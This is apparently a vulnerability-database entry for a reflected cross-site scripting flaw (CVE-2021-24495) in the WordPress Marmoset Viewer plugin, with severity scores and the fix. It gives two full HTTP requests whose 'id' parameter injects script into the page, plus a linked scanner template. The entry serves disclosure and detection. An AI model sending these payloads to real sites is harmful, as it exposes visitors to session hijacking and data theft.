| Title | Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting |
|---|---|
| Author | johnjhacking |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Update the Wordpress Marmoset Viewer plugin to version 1.9.3 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.32206 |
| CVE ID | CVE-2021-24495 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve xss wpscan wp-plugin wordpress intrusive marmoset vuln |
WordPress Marmoset Viewer plugin before 1.9.3 contains a cross-site scripting vulnerability. It does not property sanitize, validate, or escape the ‘id’ parameter before outputting back in the page.
GET /wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%2738FHA0N1eC7Qs619tNxXictW2f1%27)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/38FHA0N1eC7Qs619tNxXictW2f1/);marmoset.embed(%27a HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24495.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24495.pcap
N/AN/A